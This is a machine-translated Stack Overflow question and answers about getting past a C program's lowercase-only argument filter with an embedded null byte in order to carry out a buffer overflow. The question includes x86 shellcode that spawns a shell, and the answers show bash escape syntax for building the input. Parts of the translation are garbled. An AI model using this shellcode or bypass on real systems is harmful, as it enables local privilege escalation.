C编程给出了\ 0作为参数

时间:2015-02-09 10:07:20

标签: c bash

我正在尝试测试一个程序,人们不应该把任何字符作为第一个参数,它是这样做的:

   for (i=0; argv[1][i]!=0; i++) {
        if (argv[1][i] > 'z' || argv[1][i] < 'a') {
             printf("Not allowed char in filename\n");
             exit(1);
        }
    }

我想知道是否有可能在开始时伪造一个\ 0来引入字符,只是因为之后程序复制了整个缓冲区(在整个链上使用strncpy)所以它确实复制了后面的\ 0个字符。 我的问题是用bash,我怎么能写第一个论证来伪造这个\ 0然后放一个无法检测到的有效字符。

编辑:所以我的目标是用这样的shellcode做一个简单的缓冲区溢出:

\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80

感谢我在{+ 1}}字符链开头管理的答案,包括\ 0 但是如果我用我的代码替换abc,它会检测到其中的实际字符。不知道发生了什么,但我正在尝试没有程序的printf。

EDIT2:实际上printf会返回shellcode错误,这就是程序检测到字符的原因。我试图解决错误,似乎bash试图解释shellcode本身因为$。

2 个答案:

答案 0 :(得分:1)

你可以使用bash的printf命令

e.g。

yourcommand $(printf "\0abc")

答案 1 :(得分:0)

使用$'<letters>\<escape><letters>'语法(bash支持)。

myaut@zenbook:~$ echo aaa $'bb\0bad' ccc
aaa bb ccc